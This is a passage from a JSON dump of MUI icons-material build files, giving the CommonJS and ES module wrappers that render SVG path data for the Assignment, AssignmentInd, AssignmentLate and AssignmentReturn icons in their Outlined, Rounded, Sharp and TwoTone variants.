    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.22 0 .41.1.55.25.12.13.2.31.2.5 0 .41-.34.75-.75.75s-.75-.34-.75-.75c0-.19.08-.37.2-.5.14-.15.33-.25.55-.25M19 19H5V5h14zM12 6c-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3-1.35-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-6 6.47V18h12v-1.53c0-2.5-3.97-3.58-6-3.58s-6 1.07-6 3.58M8.31 16c.69-.56 2.38-1.12 3.69-1.12s3.01.56 3.69 1.12z\"\n}), 'AssignmentIndOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentIndOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.22 0 .41.1.55.25.12.13.2.31.2.5 0 .41-.34.75-.75.75s-.75-.34-.75-.75c0-.19.08-.37.2-.5.14-.15.33-.25.55-.25M19 19H5V5h14zM12 6c-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3-1.35-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-6 6.47V18h12v-1.53c0-2.5-3.97-3.58-6-3.58s-6 1.07-6 3.58M8.31 16c.69-.56 2.38-1.12 3.69-1.12s3.01.56 3.69 1.12z\"\n}), 'AssignmentIndOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentIndRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 4c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1.4c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'AssignmentIndRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentIndRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 4c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1.4c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'AssignmentIndRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentIndSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 4c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1.4c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'AssignmentIndSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentIndSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 4c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H6v-1.4c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'AssignmentIndSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentIndTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5v14h14zm-7 1c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m6 12H6v-1.53c0-2.5 3.97-3.58 6-3.58s6 1.08 6 3.58z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.66 3.88c-.14-.21-.33-.4-.54-.54-.11-.07-.22-.13-.34-.18-.24-.1-.5-.16-.78-.16h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c.28 0 .54-.06.78-.16.12-.05.23-.11.34-.18.21-.14.4-.33.54-.54.21-.32.34-.71.34-1.12V5c0-.41-.13-.8-.34-1.12M12 2.75c.22 0 .41.1.55.25.12.13.2.31.2.5 0 .41-.34.75-.75.75s-.75-.34-.75-.75c0-.19.08-.37.2-.5.14-.15.33-.25.55-.25M19 19H5V5h14zm-7-7c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0 2.88c-2.03 0-6 1.08-6 3.58V18h12v-1.53c0-2.51-3.97-3.59-6-3.59M8.31 16c.69-.56 2.38-1.12 3.69-1.12s3.01.56 3.69 1.12z\"\n}, \"1\")], 'AssignmentIndTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentIndTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5v14h14zm-7 1c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m6 12H6v-1.53c0-2.5 3.97-3.58 6-3.58s6 1.08 6 3.58z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.66 3.88c-.14-.21-.33-.4-.54-.54-.11-.07-.22-.13-.34-.18-.24-.1-.5-.16-.78-.16h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c.28 0 .54-.06.78-.16.12-.05.23-.11.34-.18.21-.14.4-.33.54-.54.21-.32.34-.71.34-1.12V5c0-.41-.13-.8-.34-1.12M12 2.75c.22 0 .41.1.55.25.12.13.2.31.2.5 0 .41-.34.75-.75.75s-.75-.34-.75-.75c0-.19.08-.37.2-.5.14-.15.33-.25.55-.25M19 19H5V5h14zm-7-7c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0 2.88c-2.03 0-6 1.08-6 3.58V18h12v-1.53c0-2.51-3.97-3.59-6-3.59M8.31 16c.69-.56 2.38-1.12 3.69-1.12s3.01.56 3.69 1.12z\"\n}, \"1\")], 'AssignmentIndTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentLate.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6 15h-2v-2h2zm0-4h-2V8h2zm-1-9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AssignmentLate');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentLate.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6 15h-2v-2h2zm0-4h-2V8h2zm-1-9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AssignmentLate');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentLateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2zm8-4h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}), 'AssignmentLateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentLateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2zm8-4h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}), 'AssignmentLateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentLateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M12 13c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1m1 3c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'AssignmentLateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentLateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M12 13c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1m1 3c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'AssignmentLateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentLateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-8 15h-2v-2h2zm0-4h-2V8h2zm-1-9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AssignmentLateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentLateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-8 15h-2v-2h2zm0-4h-2V8h2zm-1-9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AssignmentLateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentLateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5v14h14V5zm8 12h-2v-2h2zm0-4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2zm8-4h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64S3 4.72 3 5v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\")], 'AssignmentLateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentLateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5v14h14V5zm8 12h-2v-2h2zm0-4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2zm8-4h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64S3 4.72 3 5v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\")], 'AssignmentLateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15h7v2H7zm0-4h10v2H7zm0-4h10v2H7zm12-4h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}), 'AssignmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15h7v2H7zm0-4h10v2H7zm0-4h10v2H7zm12-4h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}), 'AssignmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m4 12h-4v3l-5-5 5-5v3h4z\"\n}), 'AssignmentReturn');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m4 12h-4v3l-5-5 5-5v3h4z\"\n}), 'AssignmentReturn');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14h4v-4h-4V7l-5 5 5 5zm7-11h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}), 'AssignmentReturnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14h4v-4h-4V7l-5 5 5 5zm7-11h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}), 'AssignmentReturnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m4 12h-4v3l-4.65-4.65c-.2-.2-.2-.51 0-.71L12 8v3h4z\"\n}), 'AssignmentReturnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m4 12h-4v3l-4.65-4.65c-.2-.2-.2-.51 0-.71L12 8v3h4z\"\n}), 'AssignmentReturnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m4 12h-4v3l-5-5 5-5v3h4z\"\n}), 'AssignmentReturnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m4 12h-4v3l-5-5 5-5v3h4z\"\n}), 'AssignmentReturnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5v14h14V5zm11 9h-4v3l-5-5 5-5v3h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 7-5 5 5 5v-3h4v-4h-4zm7-4h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64S3 4.72 3 5v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\")], 'AssignmentReturnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnTwoTone.mjs",
